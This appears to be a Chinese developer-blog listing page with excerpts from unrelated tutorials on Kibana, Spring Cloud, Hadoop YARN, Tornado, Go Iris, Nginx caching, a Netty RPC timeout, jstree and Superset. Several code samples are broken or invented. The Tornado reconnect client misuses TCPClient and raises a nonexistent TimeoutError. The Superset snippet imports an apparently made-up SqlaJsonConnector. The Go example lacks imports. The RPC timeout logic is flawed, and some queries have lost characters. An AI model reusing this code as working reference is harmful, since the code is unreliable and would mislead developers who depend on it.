保存这个可视化图表,命名为“HTTP方法请求统计”。 4. 构建仪表板 - 创建仪表板: 进入“仪表板”界面,点击“新建”,创建一个新的空白仪表板。 - 添加可视化组件: 点击右上角的“添加可视化”按钮,选择我们在第3步创建的“HTTP方法请求统计”图表,将其添加至仪表板中。 - 扩展仪表板: 不止于此,我们可以继续创建其他可视化组件,比如折线图显示随着时间推移的响应时间变化,热力图展示不同路径和状态码的分布情况等,并逐一将它们添加到此仪表板上。 5. 自定义与交互性调整 Kibana的真正魅力在于其丰富的自定义能力和交互性设计。比如,你完全可以给每张图表单独设定过滤器规则,这样一来,整个仪表板上的数据就能像变魔术一样联动更新,超级炫酷。另外,你还能借助那个时间筛选器,轻轻松松地洞察到特定时间段内数据走势的变化,就像看一部数据演变的电影一样直观易懂。 在整个创建过程中,你可能会遇到疑惑、困惑,甚至挫折,但请记住,这就是探索和学习的魅力所在。随着对Kibana的理解逐渐加深,你会发现它不仅是一个工具,更是你洞察数据、讲述数据故事的强大伙伴。尽情发挥你的创造力,让数据活起来,赋予其生动的故事性和价值性。 总结来说,创建Kibana可视化仪表板的过程就像绘制一幅数据画卷,从准备画布(导入数据)开始,逐步添置元素(创建可视化组件),最后精心布局(构建仪表板),期间不断尝试、调整和完善,最终成就一份令人满意的可视化作品。在这个探索的过程中,你要像个充满好奇的小探险家一样,时刻保持对未知的热情,脑袋瓜子灵活运转,积极思考各种可能性。同时,也要有敢于动手实践的勇气,大胆尝试,别怕失败。这样下去,你肯定能在浩瀚的数据海洋中挖到那些藏得深深的宝藏,收获满满的惊喜。
2023-08-20 14:56:06
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岁月静好
SpringCloud
...务的Service层方法? 1.1 注册中心的重要性 注册中心在微服务架构中的角色就像一个中央通讯录,例如Eureka、Consul或Nacos等,它们负责服务实例的注册与发现。当每个微服务启动后,它们就像一个个小员工,兴奋地跑到注册中心那报到,把自己的详细地址(也就是IP和端口)登记在册。这样一来,消费者服务这个“需求方”就可以像查电话簿一样,轻松找到生产者服务这个“供给方”的具体位置了。没有注册中心,各个服务之间的交互将变得异常复杂且难以管理。 java // Spring Cloud Eureka客户端配置示例 @Configuration @EnableEurekaClient public class EurekaClientConfig { } 2. 可以不用注册中心吗? 答案是理论上可以,但实际上不推荐。 - 无注册中心方案:在没有注册中心的情况下,服务间通信需要硬编码或者使用配置中心存储服务实例地址。这种做法在服务数量不多,变动也不是很频繁的时候,勉勉强强还能对付过去。不过,一旦服务规模开始吹气球般地膨胀起来,或者需要灵活调整服务数量时,手动去管理这些服务之间的“牵一发动全身”的依赖关系,那就真的会让人头疼得不行,甚至很可能成为引发系统故障的罪魁祸首。 - 可用性挑战:没有注册中心意味着服务发现能力的缺失,无法实时感知服务实例的上线、下线以及健康状态的变化,这会直接影响系统的稳定性和高可用性。 3. 直接调用Service层? 对于这个问题,从技术角度讲,直接跨服务调用Service层是可能的,但这并不符合微服务的设计原则。 - 侵入式调用:假设两个微服务A和B,如果服务A直接通过RPC或RESTful API的方式调用服务B的Service层方法,这就打破了微服务的边界,使得服务之间高度耦合。如果服务B的内部结构或者方式发生变动,那可能就像多米诺骨牌一样,引发一连串反应影响到服务A,这样一来,我们整个系统的维护保养和未来扩展升级就可能会遇到麻烦了。 java @Service public class ServiceA { @Autowired private RestTemplate restTemplate; public void callServiceB() { // 这里虽然可以实现远程调用,但不符合微服务的最佳实践 String serviceBUrl = "http://service-b/service-method"; ResponseEntity response = restTemplate.getForEntity(serviceBUrl, String.class); // ... } } - 面向接口而非实现:遵循微服务的原则,服务间的通信应当基于API契约进行,即调用方只关心服务提供的接口及其返回结果,而不应关心对方具体的实现细节。所以,正确的做法就像是这样:给各个服务之间设立明确、易懂的API接口,然后就像过家家一样,通过网关或者直接“喊话”调用这些接口来实现彼此的沟通交流。 4. 探讨与建议 在实践中,构建健康的微服务生态系统离不开注册中心的支持。它不仅简化了服务间的依赖管理和通信,也极大地提升了系统的健壮性和弹性。讲到直接调用Service层这事儿,乍一看在一些简单场景里确实好像省事儿不少,不过你要是从长远角度琢磨一下,其实并不利于咱们系统的松耦合和扩展性发展。 结论:即使面临短期成本或复杂度增加的问题,为了保障系统的长期稳定和易于维护,我们强烈建议在Spring Cloud微服务架构中采用注册中心,并遵循服务间通过API进行通信的最佳实践。这样才能充分发挥微服务架构的优势,让每个服务都能独立部署、迭代和扩展。
2023-11-23 11:39:17
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岁月如歌_
Hadoop
...”的角色,各种类型的请求都会涌向它,然后由它来灵活调配、合理分配给各个部分去执行。 YARN ResourceManager初始化失败的原因 当我们运行一个Hadoop应用时,YARN ResourceManager是最先启动的服务。如果出现“YARN ResourceManager初始化失败”的错误,通常会有很多种原因导致。下面我们就来一一剖析一下。 1. 集群资源不足 当集群的物理资源不足时,例如CPU、内存等硬件资源紧张,就可能导致YARN ResourceManager无法正常初始化。此时需要考虑增加集群资源,例如增加服务器数量,升级硬件设备等。 2. YARN配置文件错误 YARN的运行依赖于一系列的配置文件,包括conf/hadoop-env.sh、core-site.xml、mapred-site.xml、yarn-site.xml等。要是这些配置文件里头有语法错误,或者设置得不太合理,就可能导致YARN ResourceManager启动时栽跟头,初始化失败。此时需要检查并修复配置文件。 3. YARN环境变量设置不当 YARN的运行还需要一些环境变量的支持,例如JAVA_HOME、HADOOP_HOME等。如果这些环境变量设置不当,也会导致YARN ResourceManager初始化失败。此时需要检查并设置正确的环境变量。 4. YARN服务未正确启动 在YARN环境中,还需要启动一些辅助服务,例如NameNode、DataNode、Zookeeper等。如果这些服务未正确启动,也会导致YARN ResourceManager初始化失败。此时需要检查并确保所有服务都已正确启动。 如何解决“YARN ResourceManager初始化失败”? 了解了问题的原因后,接下来就是如何解决问题。根据上述提到的各种可能的原因,我们可以采取以下几种方法进行尝试: 1. 增加集群资源 对于因为集群资源不足而导致的问题,最直接的解决办法就是增加集群资源。这可以通过添加新的服务器,或者升级现有的服务器硬件等方式实现。 2. 修复配置文件 对于因为配置文件错误而导致的问题,我们需要仔细检查所有的配置文件,找出错误的地方并进行修复。同时,咱也得留意一下,改动配置文件这事儿,就像动了机器的小神经,可能会带来些意想不到的“副作用”。所以呢,在动手修改前,最好先做个全面体检——也就是充分测试啦,再给原来的文件留个安全备份,这样心里才更有底嘛。 3. 设置正确的环境变量 对于因为环境变量设置不当而导致的问题,我们需要检查并设置正确的环境变量。如果你不清楚环境变量到底该怎么设置,别担心,这里有两个实用的解决办法。首先呢,你可以翻阅一下Hadoop官方网站的官方文档,那里面通常会有详尽的指导步骤;其次,你也可以尝试在互联网上搜一搜相关的教程或者攻略,网上有很多热心网友分享的经验,总有一款适合你。 4. 启动辅助服务 对于因为辅助服务未正确启动而导致的问题,我们需要检查并确保所有服务都已正确启动。要是服务启动碰到状况了,不妨翻翻相关的文档资料,或者找专业的高手来帮帮忙。 总结 总的来说,解决“YARN ResourceManager初始化失败”这个问题需要我们具备一定的专业知识和技能。但是,只要我们有足够多的耐心和敏锐的观察力,就可以按照上面提到的办法,一步一步地把各种可能性都排查个遍,最后稳稳地找到那个真正能解决问题的好法子。最后,我想说的是,虽然这是一个比较棘手的问题,但我们只要有足够的信心和毅力,就一定能迎刃而解!
2024-01-17 21:49:06
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青山绿水-t
Tornado
...能轻松应对海量的并发请求,这样一来,系统的性能和稳定性都得到了超级大的提升,就像给系统装上了涡轮增压器一样,嗖嗖地快,稳稳地好。 三、Tornado如何解决网络连接不稳定或中断的问题? 网络连接不稳定或中断通常是由以下几个原因引起的:网络拥塞、路由器故障、服务提供商问题等。这些问题虽然没法彻底躲开,不过只要我们巧妙地进行网络编程,就能最大限度地降低它们对我们应用程序的影响程度,尽可能让它们少添乱。Tornado就是这样一个可以帮助我们处理这些问题的工具。 四、Tornado的使用示例 下面我们将通过几个实例来展示如何使用Tornado来处理网络连接不稳定或中断的问题。 1. 异步I/O操作 在传统的同步I/O操作中,当一个线程执行完一个任务后,会阻塞等待新的任务。这种方式在处理大量并发请求时效率较低。而异步I/O这招厉害的地方就在于,它能充分榨干多核CPU的潜能,让多个请求同时开足马力并行处理,就像一个超级服务员,能够同时服务多位顾客,既高效又灵活。Tornado这个家伙,厉害之处就在于它采用了异步I/O操作这招杀手锏,这样一来,面对蜂拥而至的高并发网络请求,它也能游刃有余地高效应对,处理起来毫不含糊。 python import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): 这里是你的业务逻辑 pass application = tornado.web.Application([ (r"/", MainHandler), ]) application.listen(8888) tornado.ioloop.IOLoop.current().start() 2. 自动重连机制 在网络连接不稳定或中断的情况下,传统的TCP连接可能会因为超时等原因断开。为了避免这种情况,我们可以设置自动重连机制。Tornado提供了一个方便的方法来实现这个功能。 python import tornado.tcpclient class MyClient(tornado.tcpclient.TCPClient): def __init__(self, host='localhost', port=80, kwargs): super().__init__(host, port, kwargs) self.retries = 3 def connect(self): for _ in range(self.retries): try: return super().connect() except Exception as e: print(f'Connect failed: {e}') tornado.ioloop.IOLoop.current().add_timeout( tornado.ioloop.IOLoop.current().time() + 5, lambda: self.connect(), ) raise tornado.ioloop.TimeoutError('Connect failed after retrying') client = MyClient() 以上就是Tornado的一些基本使用方法,它们都可以帮助我们有效地处理网络连接不稳定或中断的问题。当然,Tornado的功能远不止这些,你还可以利用它的WebSocket、HTTP客户端等功能来满足更多的需求。 五、总结 总的来说,Tornado是一个非常强大的工具,它不仅可以帮助我们提高网络应用程序的性能和稳定性,还可以帮助我们更好地处理网络连接不稳定或中断的问题。如果你是一名网络开发工程师,我强烈推荐你学习和使用Tornado。相信你会发现,它会给你带来很多惊喜和收获。 六、结语 希望通过这篇文章,你能了解到Tornado的基本概念和使用方法,并且能将这些知识运用到实际的工作和项目中。记住了啊,学习这件事儿可是没有终点线的马拉松,只有不断地吸收新知识、动手实践操作,才能让自己的技能树茁壮成长,最终修炼成一名货真价实的网络开发大神。
2023-05-20 17:30:58
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半夏微凉-t
Go Iris
...处理SQL查询错误的方法 让我们通过一段实际的Go Iris代码示例来观察和理解如何优雅地处理SQL查询错误: go package main import ( "github.com/kataras/iris/v12" "github.com/go-sql-driver/mysql" "fmt" ) func main() { app := iris.New() // 假设我们已经配置好了数据库连接 db, err := sql.Open("mysql", "user:password@tcp(127.0.0.1:3306)/testdb") if err != nil { panic(err.Error()) // 此处处理数据库连接错误 } defer db.Close() // 定义一个HTTP路由处理函数,其中包含SQL查询 app.Get("/users/{id}", func(ctx iris.Context) { id := ctx.Params().Get("id") var user User err = db.QueryRow("SELECT FROM users WHERE id=?", id).Scan(&user.ID, &user.Name, &user.Email) if err != nil { if errors.Is(err, sql.ErrNoRows) { // 处理查询结果为空的情况 ctx.StatusCode(iris.StatusNotFound) ctx.WriteString("User not found.") } else if mysqlErr, ok := err.(mysql.MySQLError); ok { // 对特定的MySQL错误进行判断和处理 ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString(fmt.Sprintf("MySQL Error: %d - %s", mysqlErr.Number, mysqlErr.Message)) } else { // 其他未知错误,记录日志并返回500状态码 log.Printf("Unexpected error: %v", err) ctx.StatusCode(iris.StatusInternalServerError) ctx.WriteString("Internal Server Error.") } return } // 查询成功,继续处理业务逻辑... // ... }) app.Listen(":8080") } 4. 深入思考与讨论 面对SQL查询错误,我们应该首先确保它被正确捕获并分类处理。就像刚刚提到的例子那样,面对各种不同的错误类型,我们完全能够灵活应对。比如说,可以选择扔出合适的HTTP状态码,让用户一眼就明白是哪里出了岔子;还可以提供一些既友好又贴心的错误提示信息,让人一看就懂;甚至可以细致地记录下每一次错误的详细日志,方便咱们后续顺藤摸瓜,找出问题所在。 在实际项目中,我们不仅要关注错误的处理方式,还要注重设计良好的错误处理策略,例如使用中间件统一处理数据库操作异常,或者在ORM层封装通用的错误处理逻辑等。这些方法不仅能提升代码的可读性和维护性,还能增强系统的稳定性和健壮性。 5. 结语 总之,理解和掌握Go Iris中SQL查询错误的处理方法至关重要。只有当咱们应用程序装上一个聪明的错误处理机制,才能保证在数据库查询出岔子的时候,程序还能稳稳当当地运行。这样一来,咱就能给用户带来更稳定、更靠谱的服务体验啦!在实际编程的过程中,咱们得不断摸爬滚打,积攒经验,像升级打怪一样,一步步完善我们的错误处理招数。这可是我们每一位开发者都该瞄准的方向,努力做到的事儿啊!
2023-08-27 08:51:35
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月下独酌
Nginx
...che_bypass设置如何影响缓存? 1. 初识Nginx与缓存 嗨,朋友们!今天我们来聊聊Nginx中的一个非常重要的功能——缓存。如果你在互联网上摸爬滚打过一段时间,那你一定知道缓存的重要性。它就像家里的冰箱似的,帮我们存点常用的“干货”,这样就不用每次用的时候都从零开始折腾啦! Nginx作为一个高性能的HTTP服务器和反向代理服务器,它也提供了强大的缓存机制。通过缓存,我们可以显著提高网站的响应速度,减轻后端服务器的压力。但是,缓存也不是万能的。对了,有时候咱们可不能光顾着用缓存,还得先看看情况再决定是不是真的要用它,而不是一股脑儿地直接掏出缓存里的东西就完事了。这就是Nginx的proxy_cache_bypass指令出场的时候了。 想象一下,你正在吃一份昨天剩下的披萨,突然发现里面放了你讨厌的洋葱。哎,遇到这种情况你咋整?是硬着头皮吃完呢,还是直接倒掉重新来一份?说到这个,Nginx里的proxy_cache_bypass就有点像你嘴里的味蕾,专门负责挑三拣四——它会根据一些特定条件,决定到底是直接找后端服务器要新鲜数据,还是老老实实从缓存里拿现成的。 2. proxy_cache_bypass的基本概念 首先,让我们来搞清楚什么是proxy_cache_bypass。简单说啊,这个指令用来用来决定Nginx到底要不要走缓存,还是直接甩给后端服务器去处理。有点像你在点餐时是先看看菜单上的现成选项呢,还是直接跟厨师说“来点新鲜的”!你可以把它理解成一个开关,这个开关要么连着个变量,要么是一堆条件。只要这些条件一达成,Nginx就说:“好嘞,不走缓存了,咱们直接来!” 举个例子,假设你有一个电商网站,用户可以根据自己的偏好来筛选商品。要是用户点了个“只看最新商品”的选项,那这个请求就别用缓存了啊。为啥呢?因为它要的是刚出炉的数据,可不是什么昨天的老黄历!这时候,你就可以使用proxy_cache_bypass来告诉Nginx,这个请求不应该被缓存。 nginx location /products { proxy_cache my_cache; proxy_cache_bypass $http_x_update; proxy_pass http://backend_server; } 在这个配置中,$http_x_update是一个自定义的HTTP头,当你在请求头中添加这个头时,Nginx就会绕过缓存,直接向后端服务器发送请求。 3. 深入探讨proxy_cache_bypass的工作原理 现在,让我们更深入地探讨一下proxy_cache_bypass是如何工作的。哈哈,这玩意儿可机灵了!就像个老练的管家,能根据具体情况 deciding(做决定)要不要用缓存,该出手时就出手,不该用的时候绝不浪费资源~ 首先,Nginx会检查proxy_cache_bypass指令中指定的条件。如果条件成立,Nginx会跳过缓存,直接向后端服务器发送请求。如果条件不成立,Nginx则会尝试从缓存中获取响应。 举个例子,假设你正在开发一个新闻网站,用户可以选择查看“热门新闻”或者“最新新闻”。对于“最新新闻”,你可能希望每次请求都获取最新的数据,而不是使用缓存。你可以这样配置: nginx location /latest_news { proxy_cache my_cache; proxy_cache_bypass $arg_force_update; proxy_pass http://news_backend; } 在这个例子中,$arg_force_update是一个查询参数,当你在URL中添加?force_update=1时,Nginx就会绕过缓存。 4. 实际应用中的proxy_cache_bypass 好了,现在我们已经了解了proxy_cache_bypass的基本概念和工作原理,接下来让我们看看它在实际应用中的具体例子。 假设你正在运营一个在线教育平台,学生可以在平台上观看课程视频。为了提高用户体验,你决定为每个学生提供个性化的推荐视频。这种时候,你大概更想每次都拿到最新鲜的推荐列表,而不是老是翻那堆缓存里的东西吧? nginx location /recommendations { proxy_cache my_cache; proxy_cache_bypass $http_x_user_id; proxy_pass http://video_server; } 在这个配置中,$http_x_user_id是一个自定义的HTTP头,当你在请求头中添加这个头时,Nginx就会绕过缓存。 5. 总结与展望 总之,proxy_cache_bypass是Nginx缓存机制中一个非常有用的工具,它允许我们在特定条件下绕过缓存,直接向后端服务器发送请求。用好了这个指令啊,就好比给网站的缓存装了个聪明的小管家,让它该存啥不该存啥都安排得明明白白的。这样不仅能加快网页加载速度,还能让用户打开网站的时候感觉特别顺畅,那体验感直接拉满! 未来,随着互联网技术的不断发展,我相信proxy_cache_bypass会有更多的应用场景。说不定哪天啊,它就更聪明了,自己能分得清哪些请求得绕开缓存走,哪些直接就能用缓存搞定。不管咋说呢,咱们都得对新玩意儿保持那份好奇,老想着学点新鲜的,让自己一直进步才行啊! 最后,我想说的是,Nginx不仅仅是一个工具,它更像是一个伙伴,陪伴着我们一起成长。希望这篇文章能对你有所帮助,如果有任何问题或者想法,欢迎随时交流!
2025-04-18 16:26:46
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春暖花开
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...转载内容。原文链接:https://blog.csdn.net/CSDNzhangtao5/article/details/103075755。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 在如今互联网的架构趋势下,微服务已经成为一个不可或缺的服务架构了。将一个大的服务拆分若干子服务,然后远程调用,已应对大流量、高并发的系统场景,如今开源的优秀RPC框架很多,例如 thrift、dubbo 、grpc等 本人公司也有两套自主研发的RPC框架,通读之后受益匪浅,下面分享一下,远程调用第三方服务超时中断机制的实现。在调用第三方服务时,如果服务提供方处理过于缓慢,会拖垮调用方,使调用方夯住,所以调用超时中断机制很有必要,是保证服务的可用性的重要手段 典型的微服务项目,一次用户请求,可能在后台的调用流程会历经多个服务,每个服务的可靠性是整个调用流程的前提 客户端调用服务端流程: 本文不再过多的讲解RPC调用流程,直接讲解客户端调用超时中断的代码实现。 原理也不复杂,利用ReentrantLock的Condition进行等待阻塞,等待相应的超时时间后,发现依然没有收到服务端的响应结果后,判断为超时! 代码实现: 首先定义一个netty客户端,用于请求服务端,获取返回结果 public class InvokerClient {private static Channel channel;public void init() throws Exception {Bootstrap bootstrap = new Bootstrap();bootstrap.group(new NioEventLoopGroup()).channel(NioSocketChannel.class).option(ChannelOption.SO_KEEPALIVE, true).handler(new ChannelInitializer<SocketChannel>() {@Overrideprotected void initChannel(SocketChannel socketChannel) throws Exception {// 处理来自服务端的返回结果socketChannel.pipeline().addLast(new ReceiveHandle());} });ChannelFuture cf = bootstrap.connect("127.0.0.1", 3344).sync();channel = cf.channel();}//请求服务端public Object call(Request request) {//此类是保证调用超时中断的核心类RequestTask requestTask = new RequestTask();//将请求放入请求工厂,使用请求唯一标识seq,用于辨识服务端返回的对应的响应结果RequestFactory.put(request.getSeq(), requestTask);channel.writeAndFlush("hello");//此步是返回response,超时即中断return requestTask.getResponse(request.getTimeOut());} } 其中Request是请求参数,里面有timeout超时时间,以及向服务端请求的参数 public class Request {private static final UUID uuid = UUID.randomUUID();private String seq = uuid.toString();private Object object;private long timeOut;public Object getObject() {return object;}public Request setObject(Object object) {this.object = object;return this;}public String getSeq() {return seq;}public long getTimeOut() {return timeOut;}public Request setTimeOut(long timeOut) {this.timeOut = timeOut;return this;} } 核心的RequestTask类,用于接受服务端的返回结果,超时中断 public class RequestTask {private boolean isDone = Boolean.FALSE;private ReentrantLock lock = new ReentrantLock();private Condition condition = lock.newCondition();Object response;//客户端请求服务端后,立即调用此方法获取返回结果,timeout为超时时间public Object getResponse(long timeOut) {if (!isDone) {try {lock.lock();//此步等待timeout时间,阻塞,时间达到后,自动执行,此步是超时中断的关键步骤if (condition.await(timeOut, TimeUnit.MILLISECONDS)) {if (!isDone) {return new TimeoutException();}return response;} } catch (InterruptedException e) {e.printStackTrace();} finally {lock.unlock();} }return response;}public RequestTask setResponse(Object response) {lock.lock();try{//此步是客户端收到服务端的响应结果后,写入responsethis.response = response;//并唤起上面方法的阻塞状态,此时阻塞结束,结果正常返回condition.signal();isDone = true;}finally{lock.unlock();}return this;}public boolean isDone() {return isDone;}public RequestTask setDone(boolean done) {isDone = done;return this;} } ReceiveHandle客户端接收到服务端的响应结果处理handle public class ReceiveHandle extends SimpleChannelInboundHandler {protected void channelRead0(ChannelHandlerContext channelHandlerContext, Object o) throws Exception {Response response = (Response) o;//通过seq从请求工厂找到请求的RequestTaskRequestTask requestTask = RequestFactory.get(response.getSeq());//将响应结果写入RequestTaskrequestTask.setResponse(response);} } RequestFactory请求工厂 public class RequestFactory {private static final Map<String, RequestTask> map = new ConcurrentHashMap<String, RequestTask>();public static void put(String uuid, RequestTask requestTask) {map.put(uuid, requestTask);}public static RequestTask get(String uuid) {return map.get(uuid);} } 注: 本人利用业余时间手写了一套轻量级的rpc框架,里面有用到 https://github.com/zhangta0/bigxiang 本篇文章为转载内容。原文链接:https://blog.csdn.net/CSDNzhangtao5/article/details/103075755。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-05 16:28:16
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...客户端向服务器发送的HTTP请求信息。在文章中,request对象扮演着关键角色,用来从login.jsp表单获取用户的注册信息,如用户名、密码、性别等,并在result.jsp页面中进一步处理和显示这些信息。 POST参数 , 在HTTP协议中,POST方法是一种常见的数据提交方式,通常用于表单提交或者向服务器发送大量数据。在本文提到的场景中,当用户在login.jsp页面填写完注册信息并点击“注册”按钮后,浏览器会以POST方式将表单中的所有字段值作为参数一并发送给服务器。这些发送到服务器的参数就是所谓的POST参数,例如username、password等,在result.jsp页面中,开发人员通过request对象的getParameter方法来获取并处理这些POST参数。 闰年和平年 , 在日期处理部分,闰年和平年是一个重要的概念。平年是指公历年份不能被4整除的年份,全年有365天;闰年则是能被4整除且不能被100整除的年份,或者能被400整除的年份,全年有366天,其中2月份多出一天。在模拟出生日期选择时,为了准确计算年龄,需要考虑到这一差异,但在文中提到的JSP页面实现中,尚未考虑闰年对日期和年龄计算的影响,导致每月都默认设置为31天,这在实际应用中可能会导致年龄计算不准确。
2023-08-15 09:02:21
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...转载内容。原文链接:https://blog.csdn.net/qq_27717967/article/details/79167605。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、插件说明 jstree官方地址:https://www.jstree.com bootstrap官方地址:https://v3.bootcss.com font-awesome官方地址:http://www.fontawesome.com.cn/faicons/ github项目地址:https://github.com/chengchuanqiang/jstreeDemo 2、jstreedemo主要文件 2.1、html页面代码 <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>jstree demo</title><link rel="stylesheet" href="jstree/dist/themes/default/style.min.css" /><link rel="stylesheet" type="text/css" href="bootstrap-3.3.7-dist/css/bootstrap.min.css" /> <link rel="stylesheet" type="text/css" href="font-awesome-4.7.0/css/font-awesome.min.css" /> </head><body><div class="container"> <div class="row" style="height: 100px;"></div><div class="row"><div > <button class="btn btn-info" onclick="node_create()"> 新增 </button><button class="btn btn-info" onclick="node_rename()"> 编辑</button><button class="btn btn-info" onclick="node_delete()"> 删除</button></div></div><div class="row" style="height: 5px;"></div><div class="row"> <div class="col-md-3"> <!-- 描述:搜索框 --> <div class="input-group row"> <span class="input-group-addon" id="basic-addon1"><i class="glyphicon glyphicon-screenshot"></i></span> <input type="text" class="form-control" placeholder="请输入功能名称..." id="search_ay" aria-describedby="basic-addon1"> </div> <!--描述:jstree 树形菜单容器--> <div id="jstree_demo_div" class="row"> </div> </div> <div lass="col-md-9"> <button class="btn btn-tab" var='json/data.json'>data.json</button> <!--点击切换资源--> <button class="btn btn-tab" var='json/data2.json'>data2.json</button> <!--点击切换资源--> <button class="btn refresh "><i class="glyphicon glyphicon-refresh"></i></button> <!--点击刷新资源--> </div> </div> </div> <script src="jquery/jquery.min.js"></script><script src="jstree/dist/jstree.min.js"></script><script src="jstreeDemo.js?20180125"></script></body></html> 2.2、jstreeDemo.js代码 function jstree_fun(url){var $tree = $("jstree_demo_div").jstree({"core":{//'multiple': false, // 是否可以选择多个节点//"check_callback": true, // 允许拖动菜单 唯一 右键菜单"check_callback" : true,//设置为true,当用户修改数时,允许所有的交互和更好的控制(例如增删改)"themes" : { "stripes" : true },//主题配置对象,表示树背景是否有条带"data" : {//'url' : url,//'data' : function(node){//return { 'id' : node.id };//}"url" : url,"dataType" : "json"},"check_callback" : function(operation, node, node_parent, node_position, more){if(operation === "move_node"){var node = this.get_node(node_parent);if(node.id === ""){alert("根结点不可以删除");return false;}if(node.state.disabled){alert("禁用的不可以删除");return false;} }else if(operation === "delete_node"){var node = this.get_node(node_parent);if(node.id === ""){alert("根结点不可以删除");return false;} }return true;} },"plugins": [ //插件 "search", //允许插件搜索 // "sort", //排序插件 "state", //状态插件 "types", //类型插件 "unique", //唯一插件 "wholerow", //整行插件"contextmenu"],types:{ "default": { //设置默认的icon 图 "icon": "glyphicon glyphicon-folder-close", } } });$tree.on("open_node.jstree", function(e,data){ //监听打开事件var currentNode = data.node; data.instance.set_icon(currentNode, "glyphicon glyphicon-folder-open"); });$tree.on("close_node.jstree", function(e,data){ //监听关闭事件 var currentNode = data.node; data.instance.set_icon(currentNode, "glyphicon glyphicon-folder-close"); });$tree.on("activate_node.jstree", function(e, data){var currentNode = data.node; //获取当前节点的json .node //alert(currentNode.a_attr.id) //alert(currentNode.a_attr.href) //获取超链接的 .a_attr.href "链接" .a_attr.id ID //alert(currentNode.li_attr.href) //获取属性的 .li_attr.href "链接" .li_attr.id ID });// 创建$tree.on("create_node.jstree", function(e, data){alert("创建node节点");});// 修改$tree.on("rename_node.jstree", function(e, data){alert("修改node节点");});// 删除$tree.on("delete_node.jstree", function(e, data){alert("删除node节点");});// 查询节点名称var to = false;$("search_ay").keyup(function(){if(to){clearTimeout(to);}to = setTimeout(function(){$tree.jstree(true).search($('search_ay').val()); //开启插件查询后 使用这个方法可模糊查询节点 },250);});$('.btn-tab').click(function(){ //选项事件 //alert($(this).attr("var")) $tree.jstree(true).destroy(); //可做联级 $tree = jstree_fun($(this).attr("var"));//可做联级 //alert($(this).attr("var")) }); $('.refresh').click(function(){ //刷新事件 $tree.jstree(true).refresh () }); return $tree; }function node_create(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];sel = ref.create_node(sel);if(sel){ref.edit(sel); } }function node_rename(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];ref.edit(sel);}function node_delete(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];if(ref.get_node(sel).parent==''){alert("根节点不允许删除");return;}ref.delete_node(sel);}// 初始化操作function init(){var $tree = jstree_fun("json/data.json");}init(); 3、图片效果展示 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27717967/article/details/79167605。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-08 13:23:58
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Superset
...因分析 1. 数据源设置问题 错误配置了数据源,例如使用了实时性较差的数据源或者没有正确设置刷新频率。 2. 数据加载时间 数据从源到Superset的加载时间过长,特别是在处理大量数据时。 3. 缓存机制 Superset内部或外部缓存机制可能没有及时更新,导致显示的是旧数据。 4. 网络延迟 数据传输过程中遇到的网络问题也可能导致数据更新延迟。 解决方案 1. 检查数据源配置 - 确保数据源设置正确无误,包括连接参数、查询语句、刷新频率等。例如,在SQL数据库中,确保查询语句能够高效获取数据,同时设置合理的查询间隔时间,避免频繁请求导致性能下降。 python from superset.connectors.sqla import SqlaJsonConnector connector = SqlaJsonConnector( sql="SELECT FROM your_table", cache_timeout=60, 设置数据源的缓存超时时间为60秒 metadata=metadata, ) 2. 优化数据加载流程 - 对于大数据集,考虑使用分页查询或者增量更新策略,减少单次加载的数据量。 - 使用更高效的数据库查询优化技巧,比如索引、查询优化、存储优化等。 3. 调整缓存策略 - 在Superset配置文件中调整缓存相关参数,例如cache_timeout和cache_timeout_per_user,确保缓存机制能够及时响应数据更新。 python 在Superset配置文件中添加或修改如下配置项 "CACHE_CONFIG": { "CACHE_TYPE": "filesystem", "CACHE_DIR": "/path/to/cache", "CACHE_DEFAULT_TIMEOUT": 300, "CACHE_THRESHOLD": 1000, "CACHE_KEY_PREFIX": "superset_cache" } 4. 监控网络状况 - 定期检查网络连接状态,确保数据传输稳定。可以使用网络监控工具进行测试,比如ping命令检查与数据源服务器的连通性。 - 考虑使用CDN(内容分发网络)或其他加速服务来缩短数据传输时间。 5. 实施定期数据验证 - 定期验证数据源的有效性和数据更新情况,确保数据实时性。 - 使用自动化脚本或工具定期检查数据更新状态,一旦发现问题立即采取措施。 结论 数据更新延迟是数据分析过程中常见的挑战,但通过细致的配置、优化数据加载流程、合理利用缓存机制、监控网络状况以及定期验证数据源的有效性,我们可以有效地解决这一问题。Superset这个家伙,可真是个厉害的数据大厨,能做出各种各样的图表和分析,简直是五花八门,应有尽有。它就像个宝藏一样,里面藏着无数种玩法,关键就看你能不能灵活变通,找到最适合你手头活儿的那把钥匙。别看它外表冷冰冰的,其实超级接地气,等着你去挖掘它的无限可能呢!哎呀,用上这些小窍门啊,你就能像变魔法一样,让数据处理的速度嗖嗖地快起来,而且准确得跟贴纸一样!这样一来,做决定的时候,你就不用再担心数据老掉牙或者有误差了,全都是新鲜出炉的,准得很!
2024-08-21 16:16:57
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青春印记
Redis
